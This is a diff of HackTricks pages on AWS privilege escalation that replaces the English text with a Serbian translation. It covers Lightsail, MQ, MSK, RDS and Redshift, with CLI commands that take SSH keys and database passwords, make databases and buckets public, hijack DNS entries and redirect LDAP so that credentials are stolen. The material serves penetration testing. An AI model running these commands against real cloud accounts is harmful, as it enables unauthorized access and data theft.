||||
|
||||
|
||||
@@ -4,112 +4,93 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information about Lightsail check:
|
||||
Za više informacija o Lightsail-u pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service.
|
||||
> Važno je napomenuti da Lightsail **ne koristi IAM uloge koje pripadaju korisniku** već AWS upravljanom nalogu, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su kod, API ključevi i informacije o bazi podataka mogli bi se naći u ovoj usluzi.
|
||||
|
||||
### `lightsail:DownloadDefaultKeyPair`
|
||||
|
||||
This permission will allow you to get the SSH keys to access the instances:
|
||||
|
||||
Ova dozvola će vam omogućiti da dobijete SSH ključeve za pristup instancama:
|
||||
```
|
||||
aws lightsail download-default-key-pair
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the instances.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar instanci.
|
||||
|
||||
### `lightsail:GetInstanceAccessDetails`
|
||||
|
||||
This permission will allow you to generate SSH keys to access the instances:
|
||||
|
||||
Ova dozvola će vam omogućiti da generišete SSH ključeve za pristup instancama:
|
||||
```bash
|
||||
aws lightsail get-instance-access-details --instance-name <instance_name>
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the instances.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar instanci.
|
||||
|
||||
### `lightsail:CreateBucketAccessKey`
|
||||
|
||||
This permission will allow you to get a key to access the bucket:
|
||||
|
||||
Ova dozvola će vam omogućiti da dobijete ključ za pristup bucket-u:
|
||||
```bash
|
||||
aws lightsail create-bucket-access-key --bucket-name <name>
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the bucket.
|
||||
**Potencijalni uticaj:** Pronađite osetljive informacije unutar kante.
|
||||
|
||||
### `lightsail:GetRelationalDatabaseMasterUserPassword`
|
||||
|
||||
This permission will allow you to get the credentials to access the database:
|
||||
|
||||
Ova dozvola će vam omogućiti da dobijete akreditive za pristup bazi podataka:
|
||||
```bash
|
||||
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the database.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baze podataka.
|
||||
|
||||
### `lightsail:UpdateRelationalDatabase`
|
||||
|
||||
This permission will allow you to change the password to access the database:
|
||||
|
||||
Ova dozvola će vam omogućiti da promenite lozinku za pristup bazi podataka:
|
||||
```bash
|
||||
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
|
||||
```
|
||||
|
||||
If the database isn't public, you could also make it public with this permissions with
|
||||
|
||||
Ako baza podataka nije javna, možete je takođe učiniti javnom sa ovim dozvolama sa
|
||||
```bash
|
||||
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the database.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baze podataka.
|
||||
|
||||
### `lightsail:OpenInstancePublicPorts`
|
||||
|
||||
This permission allow to open ports to the Internet
|
||||
|
||||
Ova dozvola omogućava otvaranje portova za Internet.
|
||||
```bash
|
||||
aws lightsail open-instance-public-ports \
|
||||
--instance-name MEAN-2 \
|
||||
--port-info fromPort=22,protocol=TCP,toPort=22
|
||||
--instance-name MEAN-2 \
|
||||
--port-info fromPort=22,protocol=TCP,toPort=22
|
||||
```
|
||||
|
||||
**Potential Impact:** Access sensitive ports.
|
||||
**Potencijalni uticaj:** Pristup osetljivim portovima.
|
||||
|
||||
### `lightsail:PutInstancePublicPorts`
|
||||
|
||||
This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it.
|
||||
|
||||
Ova dozvola omogućava otvaranje portova za Internet. Imajte na umu da će poziv zatvoriti bilo koji port koji nije naveden.
|
||||
```bash
|
||||
aws lightsail put-instance-public-ports \
|
||||
--instance-name MEAN-2 \
|
||||
--port-infos fromPort=22,protocol=TCP,toPort=22
|
||||
--instance-name MEAN-2 \
|
||||
--port-infos fromPort=22,protocol=TCP,toPort=22
|
||||
```
|
||||
|
||||
**Potential Impact:** Access sensitive ports.
|
||||
**Potencijalni uticaj:** Pristup osetljivim portovima.
|
||||
|
||||
### `lightsail:SetResourceAccessForBucket`
|
||||
|
||||
This permissions allows to give an instances access to a bucket without any extra credentials
|
||||
|
||||
Ova dozvola omogućava dodeljivanje pristupa instancama za bucket bez dodatnih akreditiva.
|
||||
```bash
|
||||
aws set-resource-access-for-bucket \
|
||||
--resource-name <instance-name> \
|
||||
--bucket-name <bucket-name> \
|
||||
--access allow
|
||||
--resource-name <instance-name> \
|
||||
--bucket-name <bucket-name> \
|
||||
--access allow
|
||||
```
|
||||
|
||||
**Potential Impact:** Potential new access to buckets with sensitive information.
|
||||
**Potencijalni Uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama.
|
||||
|
||||
### `lightsail:UpdateBucket`
|
||||
|
||||
With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone:
|
||||
|
||||
Sa ovom dozvolom, napadač bi mogao da dodeli svoj AWS nalog pristup za čitanje kanticama ili čak da učini kante javnim za sve:
|
||||
```bash
|
||||
# Grant read access to exterenal account
|
||||
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
|
||||
@@ -120,47 +101,36 @@ aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPub
|
||||
# Bucket private but single objects can be public
|
||||
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
|
||||
```
|
||||
|
||||
**Potential Impact:** Potential new access to buckets with sensitive information.
|
||||
**Potencijalni uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama.
|
||||
|
||||
### `lightsail:UpdateContainerService`
|
||||
|
||||
With this permissions an attacker could grant access to private ECRs from the containers service
|
||||
|
||||
Sa ovom dozvolom, napadač bi mogao da omogući pristup privatnim ECR-ima iz servisa kontejnera.
|
||||
```bash
|
||||
aws update-container-service \
|
||||
--service-name <name> \
|
||||
--private-registry-access ecrImagePullerRole={isActive=boolean}
|
||||
--service-name <name> \
|
||||
--private-registry-access ecrImagePullerRole={isActive=boolean}
|
||||
```
|
||||
|
||||
**Potential Impact:** Get sensitive information from private ECR
|
||||
**Potencijalni Uticaj:** Dobijanje osetljivih informacija iz privatnog ECR
|
||||
|
||||
### `lightsail:CreateDomainEntry`
|
||||
|
||||
An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address.
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi da kreira poddomen i usmeri ga na svoju IP adresu (preuzimanje poddomena), ili da napravi SPF zapis koji mu omogućava da lažira e-poštu sa domena, ili čak da postavi glavni domen na svoju IP adresu.
|
||||
```bash
|
||||
aws lightsail create-domain-entry \
|
||||
--domain-name example.com \
|
||||
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
|
||||
--domain-name example.com \
|
||||
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
|
||||
```
|
||||
|
||||
**Potential Impact:** Takeover a domain
|
||||
**Potencijalni uticaj:** Preuzimanje domena
|
||||
|
||||
### `lightsail:UpdateDomainEntry`
|
||||
|
||||
An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address.
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi da kreira poddomen i usmeri ga na svoju IP adresu (preuzimanje poddomena), ili da napravi SPF zapis koji mu omogućava da lažira emailove sa domena, ili čak da postavi glavni domen na svoju IP adresu.
|
||||
```bash
|
||||
aws lightsail update-domain-entry \
|
||||
--domain-name example.com \
|
||||
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
|
||||
--domain-name example.com \
|
||||
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
|
||||
```
|
||||
|
||||
**Potential Impact:** Takeover a domain
|
||||
**Potencijalni Uticaj:** Preuzimanje domena
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,18 @@
|
||||
|
||||
### `mediapackage:RotateChannelCredentials`
|
||||
|
||||
Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
|
||||
|
||||
Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ova API je zastarela za RotateIngestEndpointCredentials)
|
||||
```bash
|
||||
aws mediapackage rotate-channel-credentials --id <value>
|
||||
```
|
||||
|
||||
### `mediapackage:RotateIngestEndpointCredentials`
|
||||
|
||||
Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
|
||||
|
||||
Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ovaj API je zastareo za RotateIngestEndpointCredentials)
|
||||
```bash
|
||||
aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## MQ
|
||||
|
||||
For more information about MQ check:
|
||||
Za više informacija o MQ, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-mq-enum.md
|
||||
@@ -12,42 +12,32 @@ For more information about MQ check:
|
||||
|
||||
### `mq:ListBrokers`, `mq:CreateUser`
|
||||
|
||||
With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
|
||||
|
||||
Sa tim dozvolama možete **napraviti novog korisnika u ActimeMQ brokeru** (ovo ne funkcioniše u RabbitMQ):
|
||||
```bash
|
||||
aws mq list-brokers
|
||||
aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Access sensitive info navigating through ActiveMQ
|
||||
**Potencijalni uticaj:** Pristup osetljivim informacijama navigacijom kroz ActiveMQ
|
||||
|
||||
### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
|
||||
|
||||
With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
|
||||
|
||||
Sa tim dozvolama možete **napraviti novog korisnika u ActiveMQ brokeru** (ovo ne funkcioniše u RabbitMQ):
|
||||
```bash
|
||||
aws mq list-brokers
|
||||
aws mq list-users --broker-id <value>
|
||||
aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Access sensitive info navigating through ActiveMQ
|
||||
**Potencijalni uticaj:** Pristup osetljivim informacijama navigirajući kroz ActiveMQ
|
||||
|
||||
### `mq:ListBrokers`, `mq:UpdateBroker`
|
||||
|
||||
If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**.
|
||||
|
||||
Ako broker koristi **LDAP** za autorizaciju sa **ActiveMQ**. Moguće je **promeniti** **konfiguraciju** LDAP servera koji se koristi na **onaj koji kontroliše napadač**. Na ovaj način napadač će moći da **ukrade sve kredencijale koji se šalju putem LDAP**.
|
||||
```bash
|
||||
aws mq list-brokers
|
||||
aws mq update-broker --broker-id <value> --ldap-server-metadata=...
|
||||
```
|
||||
Ako biste nekako mogli pronaći originalne akreditive korišćene od strane ActiveMQ, mogli biste izvesti MitM, ukrasti akreditive, koristiti ih na originalnom serveru i poslati odgovor (možda samo ponovnim korišćenjem ukradenih akreditiva mogli biste to uraditi).
|
||||
|
||||
If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this).
|
||||
|
||||
**Potential Impact:** Steal ActiveMQ credentials
|
||||
**Potencijalni uticaj:** Ukrasti ActiveMQ akreditive
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## MSK
|
||||
|
||||
For more information about MSK (Kafka) check:
|
||||
Za više informacija o MSK (Kafka) pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-msk-enum.md
|
||||
@@ -12,17 +12,11 @@ For more information about MSK (Kafka) check:
|
||||
|
||||
### `msk:ListClusters`, `msk:UpdateSecurity`
|
||||
|
||||
With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them.
|
||||
|
||||
Sa ovim **privilegijama** i **pristupom VPC-u gde se nalaze kafka brokeri**, mogli biste dodati **None authentication** za pristup njima.
|
||||
```bash
|
||||
aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
|
||||
```
|
||||
|
||||
You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\
|
||||
If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it.
|
||||
Morate imati pristup VPC-u jer **ne možete omogućiti None autentifikaciju sa Kafka javno** izloženim. Ako je javno izložen, ako se koristi **SASL/SCRAM** autentifikacija, mogli biste **pročitati tajnu** za pristup (biće vam potrebne dodatne privilegije da pročitate tajnu).\
|
||||
Ako se koristi **IAM uloga zasnovana autentifikacija** i **kafka je javno izložena**, i dalje biste mogli zloupotrebiti te privilegije da dobijete dozvole za pristup.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,21 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
## Organizacije
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## From management Account to children accounts
|
||||
## Od upravljačkog naloga do naloga dece
|
||||
|
||||
If you compromise the root/management account, chances are you can compromise all the children accounts.\
|
||||
To [**learn how check this page**](../#compromising-the-organization).
|
||||
Ako kompromitujete root/upravljački nalog, šanse su da možete kompromitovati sve naloge dece.\
|
||||
Da [**naučite kako, proverite ovu stranicu**](../#compromising-the-organization).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS - Relational Database Service
|
||||
|
||||
For more information about RDS check:
|
||||
Za više informacija o RDS pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,59 +12,54 @@ For more information about RDS check:
|
||||
|
||||
### `rds:ModifyDBInstance`
|
||||
|
||||
With that permission an attacker can **modify the password of the master user**, and the login inside the database:
|
||||
|
||||
Sa tom dozvolom napadač može **promeniti lozinku glavnog korisnika**, i prijavu unutar baze podataka:
|
||||
```bash
|
||||
# Get the DB username, db name and address
|
||||
aws rds describe-db-instances
|
||||
|
||||
# Modify the password and wait a couple of minutes
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <db-id> \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
--db-instance-identifier <db-id> \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
|
||||
# In case of postgres
|
||||
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> You will need to be able to **contact to the database** (they are usually only accessible from inside networks).
|
||||
> Moraćete da budete u mogućnosti da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža).
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the databases.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baza podataka.
|
||||
|
||||
### rds-db:connect
|
||||
|
||||
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
|
||||
Prema [**dokumentaciji**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), korisnik sa ovom dozvolom može da se poveže na DB instancu.
|
||||
|
||||
### Abuse RDS Role IAM permissions
|
||||
### Zloupotreba RDS Role IAM dozvola
|
||||
|
||||
#### Postgresql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
|
||||
|
||||
First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions:
|
||||
> Ako pokrenete **`SELECT datname FROM pg_database;`** i pronađete bazu podataka pod nazivom **`rdsadmin`**, znate da ste unutar **AWS postgresql baze podataka**.
|
||||
|
||||
Prvo možete proveriti da li je ova baza podataka korišćena za pristup bilo kojoj drugoj AWS usluzi. Možete to proveriti gledajući instalirane ekstenzije:
|
||||
```sql
|
||||
SELECT * FROM pg_extension;
|
||||
```
|
||||
Ako pronađete nešto poput **`aws_s3`**, možete pretpostaviti da ova baza podataka ima **neku vrstu pristupa S3** (postoje i druge ekstenzije kao što su **`aws_ml`** i **`aws_lambda`**).
|
||||
|
||||
If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**).
|
||||
|
||||
Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has.
|
||||
|
||||
Now, to **read a file inside a bucket** you need to know the full path. You can read it with:
|
||||
Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`**, možete videti da li **klaster ima neku IAM ulogu prikačenu** u polju **`AssociatedRoles`**. Ako ima, možete pretpostaviti da je baza podataka **pripremljena za pristup drugim AWS uslugama**. Na osnovu **imena uloge** (ili ako možete dobiti **dozvole** uloge) mogli biste **pretpostaviti** koji dodatni pristup baza podataka ima.
|
||||
|
||||
Sada, da biste **pročitali datoteku unutar kante**, morate znati punu putanju. Možete je pročitati sa:
|
||||
```sql
|
||||
// Create table
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
|
||||
// Create s3 uri
|
||||
SELECT aws_commons.create_s3_uri(
|
||||
'test1234567890678', // Name of the bucket
|
||||
'data.csv', // Name of the file
|
||||
'eu-west-1' //region of the bucket
|
||||
'test1234567890678', // Name of the bucket
|
||||
'data.csv', // Name of the file
|
||||
'eu-west-1' //region of the bucket
|
||||
) AS s3_uri \gset
|
||||
|
||||
// Load file contents in table
|
||||
@@ -76,98 +71,81 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
|
||||
If you had **raw AWS credentials** you could also use them to access S3 data with:
|
||||
|
||||
Ako imate **sirove AWS akreditive**, takođe ih možete koristiti za pristup S3 podacima sa:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
:'s3_uri',
|
||||
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
't', '', '(format csv)',
|
||||
:'s3_uri',
|
||||
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
);
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Postgresql **doesn't need to change any parameter group variable** to be able to access S3.
|
||||
> Postgresql **ne treba da menja nijednu promenljivu parametarskih grupa** da bi mogao da pristupi S3.
|
||||
|
||||
#### Mysql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**.
|
||||
> Unutar mysql-a, ako pokrenete upit **`SELECT User, Host FROM mysql.user;`** i postoji korisnik pod imenom **`rdsadmin`**, možete pretpostaviti da ste unutar **AWS RDS mysql db**.
|
||||
|
||||
Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data.
|
||||
Unutar mysql-a pokrenite **`show variables;`** i ako promenljive kao što su **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, imaju vrednosti, možete pretpostaviti da je baza podataka spremna za pristup S3 podacima.
|
||||
|
||||
Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services).
|
||||
|
||||
Now, to **read a file inside a bucket** you need to know the full path. You can read it with:
|
||||
Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **povezanu ulogu**, što obično znači pristup AWS uslugama.
|
||||
|
||||
Sada, da biste **pročitali datoteku unutar bucket-a** potrebno je da znate punu putanju. Možete je pročitati sa:
|
||||
```sql
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
|
||||
SELECT * FROM ttemp;
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
|
||||
### `rds:AddRoleToDBCluster`, `iam:PassRole`
|
||||
|
||||
An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance.
|
||||
|
||||
Napadač sa dozvolama `rds:AddRoleToDBCluster` i `iam:PassRole` može **dodati određenu ulogu postojećem RDS instanci**. Ovo bi moglo omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke unutar instance.
|
||||
```bash
|
||||
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\
|
||||
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.\
|
||||
Napomena da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji treba da specificira ARN u grupama parametara.
|
||||
|
||||
### `rds:CreateDBInstance`
|
||||
|
||||
Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet:
|
||||
|
||||
Samo sa ovom dozvolom napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima **IAM ulogu** prikačenu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:
|
||||
```bash
|
||||
aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
--db-instance-identifier mydbinstance2 \
|
||||
--db-instance-class db.t3.medium \
|
||||
--engine aurora-postgresql \
|
||||
--db-cluster-identifier database-1 \
|
||||
--db-security-groups "string" \
|
||||
--publicly-accessible
|
||||
--db-instance-identifier mydbinstance2 \
|
||||
--db-instance-class db.t3.medium \
|
||||
--engine aurora-postgresql \
|
||||
--db-cluster-identifier database-1 \
|
||||
--db-security-groups "string" \
|
||||
--publicly-accessible
|
||||
```
|
||||
|
||||
### `rds:CreateDBInstance`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance.
|
||||
Napadač sa dozvolama `rds:CreateDBInstance` i `iam:PassRole` može **napraviti novu RDS instancu sa određenom ulogom**. Napadač može zatim potencijalno **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance.
|
||||
|
||||
> [!WARNING]
|
||||
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - The profile must exist in your account.
|
||||
> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
|
||||
> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
|
||||
> Neki zahtevi za ulogu/profil instance koji se treba prikačiti (iz [**ovde**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - Profil mora postojati u vašem nalogu.
|
||||
> - Profil mora imati IAM ulogu koju Amazon EC2 ima dozvolu da preuzme.
|
||||
> - Ime profila instance i ime povezane IAM uloge moraju početi sa prefiksom `AWSRDSCustom`.
|
||||
```bash
|
||||
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
|
||||
```
|
||||
|
||||
**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
|
||||
**Potencijalni Uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance.
|
||||
Napadač sa dozvolama `rds:AddRoleToDBInstance` i `iam:PassRole` može **dodati određenu ulogu postojećoj RDS instanci**. To bi moglo omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke unutar instance.
|
||||
|
||||
> [!WARNING]
|
||||
> The DB instance must be outside of a cluster for this
|
||||
|
||||
> DB instanca mora biti van klastera za ovo
|
||||
```bash
|
||||
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
|
||||
```
|
||||
|
||||
**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Redshift
|
||||
|
||||
For more information about RDS check:
|
||||
Za više informacija o RDS proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-redshift-enum.md
|
||||
@@ -12,52 +12,45 @@ For more information about RDS check:
|
||||
|
||||
### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
|
||||
|
||||
With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it:
|
||||
|
||||
Sa ovim dozvolama možete dobiti **informacije o svim klasterima** (uključujući ime i korisničko ime klastera) i **dobiti kredencijale** za pristup:
|
||||
```bash
|
||||
# Get creds
|
||||
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
|
||||
# Connect, even if the password is a base64 string, that is the password
|
||||
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the databases.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baza podataka.
|
||||
|
||||
### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
|
||||
|
||||
With these permissions you can get **info of all the clusters** and **get credentials** to access it.\
|
||||
Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has.
|
||||
|
||||
Sa ovim dozvolama možete dobiti **informacije o svim klasterima** i **dobiti kredencijale** za pristup njima.\
|
||||
Imajte na umu da će postgres korisnik imati **dozvole koje ima IAM identitet** korišćen za dobijanje kredencijala.
|
||||
```bash
|
||||
# Get creds
|
||||
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
|
||||
# Connect, even if the password is a base64 string, that is the password
|
||||
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
|
||||
```
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the databases.
|
||||
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baza podataka.
|
||||
|
||||
### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
|
||||
|
||||
It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet):
|
||||
|
||||
Moguće je **izmeniti glavnu lozinku** internog postgres (redshit) korisnika putem aws cli (mislim da su to dozvole koje su vam potrebne, ali ih još nisam testirao):
|
||||
```
|
||||
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
|
||||
```
|
||||
**Potencijalni Uticaj:** Pronaći osetljive informacije unutar baza podataka.
|
||||
|
||||
**Potential Impact:** Find sensitive info inside the databases.
|
||||
|
||||
## Accessing External Services
|
||||
## Pristup Eksternim Uslugama
|
||||
|
||||
> [!WARNING]
|
